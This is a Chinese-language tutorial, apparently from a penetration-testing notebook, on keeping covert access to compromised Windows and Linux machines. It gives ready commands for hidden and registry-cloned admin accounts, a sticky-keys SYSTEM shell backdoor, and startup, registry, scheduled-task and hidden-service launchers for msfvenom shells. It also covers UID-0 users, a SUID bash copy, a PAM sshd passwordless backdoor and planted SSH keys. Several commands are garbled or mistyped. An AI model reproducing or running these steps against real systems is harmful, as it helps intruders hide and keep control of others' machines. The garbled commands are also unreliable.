权限维持
1 Windows权限维持
1.1 用户维持(克隆账号)
1.1.1 添加一般隐藏用户的方式
-
net user username$ passwd /add
-
使用
net user
命令查看用户,发现没有username$
这个用户 -
但是通过控制面板→管理账户中可以看到该用户。
1.1.2 注册表克隆用户隐藏
需要先完成上一步🙄
-
打开注册表编辑器:Win+R→
regedit
,找到如下路径:发现
SAM
路径下没有权限查看,这里修改权限:菜单栏编辑→权限,修改后F5刷新
可以看到本机所有用户:
-
导出用户
在用户名上右击→导出即可,设为
1.reg
由上图可知,Administrator用户的类型为
0x1f4
,在注册表000001F4
路径下复制F
类型的数据,替换到所需添加的用户的类型中,然后在该用户类型的路径上右击导出,设为2.reg
。 -
删除第一步添加的用户
net user username$ passwd /adel
-
使用注册表文件注册用户
运行
1.reg
→运行2.reg
即可,该用户只能在注册表中能看到。 -
开启3389端口后即可管理员权限登录登录
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
有时发现无法连接,很有可能是因为防火墙拦截。这时可以使用以下命令添加防火墙放行策略
netsh firewall add portopening protocol = TCP port = 3389 name = rdp
关闭3389端口:
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 11111111 /f
1.2 SHIFT后门
Windows的粘滞键是
C:\windows\system32\sethc.exe
的程序,按5下SHIFT后即可启动。
当未登录系统而启动粘滞键时,系统就会以system用户来运行。
1.2.1 需要更改文件权限,如下命令
c:\windows\system32\*.* /a /r /d y
注释:强制将当前目录下的所有文件及文件夹、子文件夹下的所有者更改为管理员组(administrators)
cacls c:\windows\system32\*.* /T /E /G administrators:F
注释:在当前目录下的文件、子文件夹的
NTFS权限上添加管理员组(administrators)完全控制权限(并不删除原有所有NTFS权限设置)
1.2.2 复制cmd.exe为sethc.exe
copy C:\WINDOWS\system32\cmd.exe C:\windows\system32\sethc.exe
此时在未登录的状态下按连续按5次SHIFT即可弹出最高权限的cmd窗口。
1.3 启动项维持
1.3.1 组策略维持
-
首先需要生成一段脚本,可使用Kali的msfvenom命令。
-
将脚本上传到目标机,制作启动脚本,可参考以下内容:
@echo off powershell.exe -w hidden -ExecutionPolicy Bypass -NoExit -File C:\Users\Administrator\Desktop\keep\shell.ps1 exit
-
添加到组策略开机启动中
-
Kali端进行msf监听,待目标机重启后即可上线。
1.3.2 启动文件夹维持
把脚本放到启动文件夹即可随系统开机自动运行。
启动文件夹:
C: \ProgramData\Microsoft\Windows\Start Menu\Programs\Startup #系统级,需要system权限
C: \Users\用户名\AppData\Roaming\Microsoft\Windows\Start\Menu\Programs\Startup #用户级 普通
#用户就可以
组策略脚本启动文件夹:
C:\Windows\System32\GroupPolicy\Machine\Scripts\Startup
C:\Windows\System32\GroupPolicy\Machine\Scripts\Shutdown
C:\Windows\System32\GroupPolicy\User\Scripts\Logon
C:\Windows\System32\GroupPolicy\User\Scripts\Logoff
1.3.3 注册表维持
-
注册表存在的自启动目录:
# HKEY_LOCAL_MACHINE类 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce # HKEY_CURRENT_USER类 HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnceEx HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce
-
REG命令
使用如下命令将脚本添加到注册表:
reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run(就是上文提到的注册表自启动目录)" /v shell(键名称) /t REG_SZ(键值类型) /d "C:\Users\Administrator\Desktop\keep\1.bat(启动脚本的路径)"
-
同样,Kali端进行msf监听,待目标机重启后即可上线。
1.4 计划任务维持
-
schtasks命令
#命令格式 SCHTASKS /Create [/S system [/U username [/P [password]]]] [/RU username [/RP password]] /SC schedule [/MO modifier] [/D day] [/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime] [/RI interval] [ {/ET endtime | /DU duration} [/K] [/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT | /NP] [/Z] [/F] [/HRESULT] [/?]
#参数列表: /S system 指定要连接到的远程系统。如果省略这个 系统参数,默认是本地系统。 /U username 指定应在其中执行 SchTasks.exe 的用户上下文。 /P [password] 指定给定用户上下文的密码。如果省略则 提示输入。 /RU username 指定任务在其下运行的“运行方式”用户 帐户(用户上下文)。对于系统帐户,有效 值是 ""、"NT AUTHORITY\SYSTEM" 或 "SYSTEM"。 对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和 "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID 对这三个也都可用。 /RP [password] 指定“运行方式”用户的密码。要提示输 入密码,值必须是 "*" 或无。系统帐户会忽略该 密码。必须和 /RU 或 /XML 开关一起使用。 /RU/XML /SC schedule 指定计划频率。 有效计划任务: MINUTE、 HOURLY、DAILY、WEEKLY、 MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT. /MO modifier 改进计划类型以允许更好地控制计划重复 周期。有效值列于下面“修改者”部分中。 /D days 指定该周内运行任务的日期。有效值: MON、TUE、WED、THU、FRI、SAT、SUN 和对 MONTHLY 计划的 1 - 31 (某月中的日期)。通配符“*”指定所有日期。 /M months 指定一年内的某月。默认是该月的第一天。 有效值: JAN、FEB、MAR、APR、MAY、JUN、 JUL、 AUG、SEP、OCT、NOV 和 DEC。通配符 “*” 指定所有的月。 /I idletime 指定运行一个已计划的 ONIDLE 任务之前 要等待的空闲时间。 有效值范围: 1 到 999 分钟。 /TN taskname 以路径\名称形式指定 对此计划任务进行唯一标识的字符串。 /TR taskrun 指定在这个计划时间运行的程序的路径 和文件名。 例如: C:\windows\system32\calc.exe /ST starttime 指定运行任务的开始时间。 时间格式为 HH:mm (24 小时时间),例如 14:30 表示 2:30 PM。如果未指定 /ST,则默认值为 当前时间。/SC ONCE 必需有此选项。 /RI interval 用分钟指定重复间隔。这不适用于 计划类型: MINUTE、HOURLY、 ONSTART, ONLOGON, ONIDLE, ONEVENT. 有效范围: 1 - 599940 分钟。 如果已指定 /ET 或 /DU,则其默认值为 10 分钟。 /ET endtime 指定运行任务的结束时间。 时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. /DU duration 指定运行任务的持续时间。 时间格式为 HH:mm。这不适用于 /ET 和 计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT. 对于 /V1 任务,如果已指定 /RI,则持续时间默认值为 1 小时。 /K 在结束时间或持续时间终止任务。 这不适用于计划类型: ONSTART、 ONLOGON, ONIDLE, ONEVENT. 必须指定 /ET 或 /DU。 /SD startdate 指定运行任务的第一个日期。 格式为 yyyy/mm/dd。默认值为 当前日期。这不适用于计划类型: ONCE、 ONSTART, ONLOGON, ONIDLE, ONEVENT. /ED enddate 指定此任务运行的最后一天的日期。 格式是 yyyy/mm/dd。这不适用于计划类型: ONCE、ONSTART、ONLOGON、ONIDLE。 /EC ChannelName 为 OnEvent 触发器指定事件通道。 /IT 仅有在 /RU 用户当前已登录且 作业正在运行时才可以交互式运行任务。 此任务只有在用户已登录的情况下才运行。 /NP 不储存任何密码。任务以给定用户的身份 非交互的方式运行。只有本地资源可用。 /Z 标记在最终运行完任务后删除任务。 /XML xmlfile 从文件的指定任务 XML 中创建任务。 可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含 主体时单独使用 /RP。 /V1 创建 Vista 以前的平台可以看见的任务。 不兼容 /XML。 /F 如果指定的任务已经存在,则强制创建 任务并抑制警告。 /RL level 为作业设置运行级别。有效值为 LIMITED 和 HIGHEST。默认值为 LIMITED。 /DELAY delaytime 指定触发触发器后延迟任务运行的 等待时间。时间格式为 mmmm:ss。此选项仅对计划类型 ONSTART, ONLOGON, ONEVENT. /HRESULT 为获得更出色的故障诊断能力,处理退出代码 将采用 HRESULT 格式。 /? 显示此帮助消息。 #修改者: 按计划类型的 /MO 开关的有效值: MINUTE: 1 到 1439 分钟。 HOURLY: 1 - 23 小时。 DAILY: 1 到 365 天。 WEEKLY: 1 到 52 周。 ONCE: 无修改者。 ONSTART: 无修改者。 ONLOGON: 无修改者。 ONIDLE: 无修改者。 MONTHLY: 1 到 12,或 FIRST, SECOND, THIRD, FOURTH, LAST, LASTDAY。 ONEVENT: XPath 事件查询字符串。
#示例: ==> 在远程机器 "ABC" 上创建计划任务 "doc", 该机器每小时在 "system" 用户下运行 notepad.exe。 SCHTASKS /Create /S ABC /U user /P password /RU system /RP runaspassword /SC HOURLY /TN doc /TR notepad ==> 在远程机器 "ABC" 上创建计划任务 "accountant", 在指定的开始日期和结束日期之间的开始时间和结束时间内, 每隔五分钟运行 calc.exe。 SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN accountant /TR calc.exe /ST 12:00 /ET 14:00 /SD 06/06/2006 /ED 06/06/2006 /RU runasuser /RP userpassword ==> 创建计划任务 "gametime",在每月的第一个星期天 运行“空当接龙”。 SCHTASKS /Create /SC MONTHLY /MO first /D SUN /TN gametime /TR c:\windows\system32\freecell ==> 在远程机器 "ABC" 创建计划任务 "report", 每个星期运行 notepad.exe。 SCHTASKS /Create /S ABC /U user /P password /RU runasuser /RP runaspassword /SC WEEKLY /TN report /TR notepad.exe ==> 在远程机器 "ABC" 创建计划任务 "logtracker", 每隔五分钟从指定的开始时间到无结束时间, 运行 notepad.exe。将提示输入 /RP 密码。 SCHTASKS /Create /S ABC /U domain\user /P password /SC MINUTE /MO 5 /TN logtracker /TR c:\windows\system32\notepad.exe /ST 18:30 /RU runasuser /RP ==> 创建计划任务 "gaming",每天从 12:00 点开始到 14:00 点自动结束,运行 freecell.exe。 SCHTASKS /Create /SC DAILY /TN gaming /TR c:\freecell /ST 12:00 /ET 14:00 /K ==> 创建计划任务“EventLog”以开始运行 wevtvwr.msc 只要在“系统”通道中发布事件 101 SCHTASKS /Create /TN EventLog /TR wevtvwr.msc /SC ONEVENT /EC System /MO *[System/EventID=101] ==> 文件路径中可以加入空格,但需要加上两组引号, 一组引号用于 CMD.EXE,另一组用于 SchTasks.exe。用于 CMD 的外部引号必须是一对双引号;内部引号可以是一对单引号或 一对转义双引号: SCHTASKS /Create /tr "'c:\program files\internet explorer\iexplorer.exe' \"c:\log data\today.xml\"" ...
-
at命令(winserver2003)
at 1:00AM /EverySaturday c:\1.bat \\指定计算机
编写一个命令进行权限维持
@echo off powershell.exe -2 hidden -ExeoutionPolly Bypass -NoExit -File C:\sdsasfsafs\shell.pel exit
1.5 服务维持
1、创建服务
sc create shell start= auto binPath= "cmd.exe /k powershell.exe w
hidden ExecutionPolicy
Bypass NoExit
File
C:\Users\Administrator\Desktop\keep\shell.ps1" obj= Localsystem
2、对该服务进行伪装
sc description "shell" "shell的介绍"
3、设置服务的自动启动
sc config "shell" start= auto
4、然后启动该服务
net start "服务名"
这种创建服务的方法隐藏性太弱,直接在服务里就能看到,可以在创建完服务后,使用以下命令将创建的 服务隐藏 ,这样不论是在服务中,还是使用命令都查不到这个服务。
sc sdset shell "D:(D;;DCLCWPDTSDCC;;;IU)(D;;DCLCWPDTSDCC;;;SU)(D;;DCLCWPDTSDCC;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)(A;;CCLCSWRPWPDTLOCRRC;;;SY)
(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
sc sdset shell "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
使用以下的命令进行恢复
sc sdset shell "D:(A;;CCLCSWRPWPDTLOCRRC;;;SY)(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;BA)
(A;;CCLCSWLOCRRC;;;IU)(A;;CCLCSWLOCRRC;;;SU)S:(AU;FA;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;WD)"
2 Linux权限维持
2.1 特权账号维持
2.1.1 用户文件
-
/etc/passwd
用户名:密码:UID(用户ID):GID(组ID):描述性信息:主目录:默认Shell root:x:0:0:root:/root:/bin/bash
-
/etc/shadow(root权限)
用户名:加密密码:最后一次修改时间:最小修改时间间隔:密码有效期:密码需要变更前的警告天数:密码过期后的宽限时间:账号失效时间:保留字段 root:$9wl2klcxx9s:0:0:99999:7:::
2.1.2 创建用户
useradd username
passwd username
#或者
useradd userpassword username
以上方式较为繁琐且不安全。
useradd -p `openssl passwd -1 -salt `salt` 123456` username
#或者
useradd -p "$(openssl passwd -1 123456)" username
#创建管理员用户(root权限)
useradd -p `openssl passwd -1 -salt `salt` 123456` username -o -u 0 -g root -G root -s /bin/bash -d /home/username
2.2 SUID维持
设置了suid的二进制程序文件,在用户执行该二进制程序时,用户的权限就是该二进制程序文件属主的权限。sgid是执行程序时的权限是文件属组的权限。
-
bash
相当于Windows中的cmd
,这里复制该程序到普通用户拥有访问权限的位置cp /bin/bash /tmp/.bash
-
设置权限:
#用户对程序的读写执行权限 chmod 4755 /tmp/.bash #SUID权限 chmod +s /tmp/.bash
-
运行/tmp/.bash
/tmp/.bash p
2.3 PAM软连接维持
2.3.1 创建软连接
ln -fs /var/xxx/xxx.txt newfile.txt
2.3.2 查看软连接
find /etc/pam.d |xargs grep "pam_rootok"
ls /etc/pam.d
2.3.3 通过软连接创建ssh后门
-
判断ssh是否开启了PAM认证
cat /etc/ssh/sshd_config|grep UsePAM
-
以root权限创建
#建立sshd的软连接 ln -sf /usr/sbin/sshd /tmp/ceshi #更改端口为233334 /tmp/ceshi -oPort=23333
-
登录时就不需要密码了
ssh root@[IP地址] -p [后门端口]
2.4 SSH公钥登录
-
在工具机上生成公钥和私钥
ssh-keygen -t rsa
-
将生成的
id_rsa.pub
文件复制到目标机(服务器)的/root/.ssh/authorized_keys
文件中 -
查看服务器中
/etc/ssh/sshd_confg
文件是否开启了公私钥登录cat /etc/ssh/sshd_config
-
在工具机登录目标机不需要密码
ssh root@ip地址
2.5 定时任务
命令格式为
f1 f2 f3 f4 f5 程序文件的路径
- 其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。
- 当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推
- 当 f1 为 ab时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 ab时表示从第 a 到第 b 小时都要执行,其馀类推
- 当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推
- 当 f1 为 a, b, c,… 时表示第 a, b, c,… 分钟要执行,f2 为 a, b, c,… 时表示第 a, b, c…个小时要执行,其馀类推
-
编辑计划任务
crontab -e
输入以下内容:
*/1 * * * * /tmp/shell.sh
-
查看计划任务状态
systemctl status crond
-
启动计划任务
systemctl start crond.service systemctl stop crond.service#停止计划任务